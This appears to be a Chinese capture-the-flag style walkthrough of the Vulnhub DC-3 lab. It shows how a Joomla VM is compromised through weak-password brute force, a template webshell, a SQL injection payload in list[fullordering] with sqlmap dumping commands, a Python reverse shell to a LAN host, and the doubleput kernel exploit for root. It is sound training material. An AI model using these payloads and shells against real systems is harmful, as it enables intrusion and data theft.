【超详细】Vulnhub靶场之----DC-3
2022-5-25 18:16:31 Author: www.freebuf.com(查看原文) 阅读量:11 收藏

1.外网

1.1 信息收集

导入靶机,设置成桥接,之后打开我的kali,使用arp-scan查找靶机IP

arp-scan -l

image-20220523160549918

可以看到112这台主机,被识别出来是VM虚拟网卡了,所以大概率是它

去浏览器访问一下,没有任何问题

image-20220523160703784

看着就像个CMS,打开wappalyzer识别出Joomla的CMS系统,它的漏洞还是挺多的

image-20220523161050438

image-20220523194349902

同样的为了扩大攻击面,别忘了用nmap扫一下端口,只存在80端口,也识别到了Joomla的CMS,并且得到中间件版本

image-20220523161423856

再扫一下目录,可是不少呢

image-20220523161932614


2. 漏洞利用

2.1 弱口令尝试

根据前面扫描的目录直接进后台管理页面

image-20220523162048118

​随手试了几个admin,123456,root等无果,直接挂上字典跑

image-20220523164836078

密码为snoopy,直接登后台

通过Extensions–>Templates–>Templates–>xxx Details and Files修改error.php文件 添加shell代码,save保存

image-20220523170207995

连接成功

image-20220523170302885


2.2 利用sql注入

http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

image-20220523194438321

判断存在sql注入,尝试用sqlmap跑一下

#语句在这,因为是在list[fullordering]处发生的注入,所以将它的值置位*
python sqlmap.py -u "http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fu llordering]=*" --level 3

跑出来了,然后先别急,因为前方已经弱口令跑出来,所以这里就不通过它找管理员密码了,尝试写入webshell但是不知道网站绝对路径,所以这里先尝试用之前跑的目录进行信息收集。

image-20220523200734777

​看了下扫出来的路径,几乎都没啥用,还得进后台啊

#先进sqlmap的shell
python sqlmap.py --shell

#查表(因为之前我们的数据库名称已经知道了)
-u "http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --level 3 -D joomladb --tables

image-20220523203142099

-u "http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --level 3 -D joomladb --T "#__bsms_admin" --columns

这里需要跑下列名

image-20220523210321141

image-20220523210349468

看这个结果,貌似不是这个表

image-20220523210626965

我再去翻翻表名

image-20220523210829215

这回应该差不多了

image-20220523214508907

跑数据

image-20220523214537625

去MD5在线解密没解出来(看着也不像MD5字符串),只能用John the Ripper(密码破解工具)跑一下了,保存个文本,然后直接解密即可,秒出结果

image-20220523215805110

​ 密码为snoopy

登录后台,找到了这个,所以盲猜绝对路径,在/var/www/html/

image-20220523220513798

再看一下数据库是否为root账户

-u "http://192.168.1.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --current-user

image-20220523220702638

​尝试写入一句话,失败了,还是用原来的webshell吧

image-20220524160612147

这里提一嘴,joomla的反序列化漏洞在这个靶场条件不满足,当前靶场是php7版本,所以不能利用

3. 提权

用shell看一下账户,是个低权限网站账户

image-20220524160941505

尝试查看/etc/passwd和/etc/shadow,后者无权限,那就不考虑root账户破解了

image-20220524164108824

尝试suid和定时任务提权,查看了一下,没什么异常,也没定时任务(试了pkexec的提全漏洞CVE-2021-4034,没成功)

image-20220524162819178

接下来看一下看能否通过内核漏洞提权

uname -a

image-20220524190350317

release -a

image-20220524190705169

通过kali的searchsploit搜一下漏洞

image-20220524190923395

我们也可以去https://www.exploit-db.com/,然后同样的方式搜索,最好用带对号的,证明已经验证过

image-20220524194415241

这里首先第一个带√的我试了,提权失败,第二个事64位的--过,第三个 ‘BPF’那个需要ruby环境---过,然后第四个依旧是64位过,然后就剩下了最后一个,它是个利用文档,我这里在https://www.exploit-db.com/先看下

image-20220524210233212

翻到最下方写了exp地址,在github上,这里直接真机下载zip包,然后,上传exploit.tar到靶机

image-20220525181858978

image-20220524212931278

这里注意,因为我们要涉及到提权,所以我们需要一个完整的交互式的shell,我当前在哥斯拉上的webshell并不是交互式的shell,当我们执行vim或top甚至ping的时候,webshell都会卡死,执行提权脚本也不会反弹回root的shell,也就不能够满足我们的要求,所以这里我们需要升级成一个可交互的webshell

这里我们想办法反弹shell,bash方式反弹shell失败了,因为是php语言,所以这里可以通过后台的模板进行反弹shell,我这里采用的事python反弹shell方法,因为如果用python反弹成功了,直接就是交互式的shell,如果用php反弹后续还需要对其进行升级。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.113",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

这里默认是python2,直接执行会报错,格式错误,可能是因为webshell的原因导致某些换行空格出异常了,所以这里我在本地新建了个文件,将命令存到文件里面然后上传到了靶机,赋予执行权限,然后执行即可

image-20220525094515794

反弹成功 image-20220525094732279

image-20220525094759814

我们将exploit.tar解压,然后运行里面的compile.sh,然后在由doubleput.c编译后生成的doubleput

tar -xvf exploit.tar

./compile.sh
./doubleput

提权成功

image-20220525132132813

去root目录查flag,完活

image-20220525132216133

同样可以为了方便,在利用python弹个root权限的shell

image-20220525132453703


文章来源: https://www.freebuf.com/articles/others-articles/334289.html
如有侵权请联系:admin#unsafe.sh